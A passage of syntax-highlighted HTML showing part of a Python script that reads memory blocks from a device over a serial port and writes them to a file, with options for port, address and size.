&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;sys.version_info &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt;= &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;			buf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;fromhex&lt;&#x2F;span&gt;&lt;span&gt;(m.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;group&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;			buf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(x, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;m.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;group&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;split&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)])
&lt;&#x2F;span&gt;&lt;span&gt;		m &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;lineregex.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt;(ser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;readline&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;strip&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;buf
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ff5e5e;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;memreadblock2file&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;ser&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;fd&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff8942;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;		buf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;memreadblock&lt;&#x2F;span&gt;&lt;span&gt;(ser,addr,size)
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(buf)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt;size:
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;		sys.stderr.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	fd.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(buf)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ff5e5e;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;memread&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;ser&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;path&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;verbose&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;	bs&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x100000 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&#x2F;&#x2F; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;2
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;bs set to: &lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(bs)}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;{bs}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;get2menu&lt;&#x2F;span&gt;&lt;span&gt;(ser,verbose)
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;path &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# get sys.stdout in Python 2 or sys.stdout.buffer in Python 3
&lt;&#x2F;span&gt;&lt;span&gt;		fd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getattr&lt;&#x2F;span&gt;&lt;span&gt;(sys.stdout, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;buffer&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, sys.stdout)
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;		fd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(path,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;wb&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span&gt;size:
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;size &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;bs:
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;memreadblock2file&lt;&#x2F;span&gt;&lt;span&gt;(ser,fd,addr,bs)
&lt;&#x2F;span&gt;&lt;span&gt;			size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;-=&lt;&#x2F;span&gt;&lt;span&gt;bs
&lt;&#x2F;span&gt;&lt;span&gt;			addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span&gt;bs
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Addr: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(addr), &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;file&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;sys.stderr)
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Size: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(size), &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;file&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;sys.stderr)
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;memreadblock2file&lt;&#x2F;span&gt;&lt;span&gt;(ser,fd,addr,size)
&lt;&#x2F;span&gt;&lt;span&gt;			size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;	fd.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;close&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ff5e5e;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;	optparser &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;OptionParser&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;usage: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;rog [options]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;rog 0.1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	optparser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;add_option&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;--verbose&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;action&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;store_true&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;dest&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;verbose&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;help&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;be verbose&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff8942;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	optparser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;add_option&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;--serial&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;dest&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;serial&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;help&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;specify serial port&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;default&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;dev&#x2F;ttyUSB0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;metavar&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;dev&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	optparser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;add_option&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;--read&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;dest&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;help&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;read mem to file&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;metavar&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	optparser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;add_option&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;--addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;dest&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;help&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;mem address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;metavar&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	optparser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;add_option&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;--size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;dest&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;help&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;size to copy&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;metavar&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
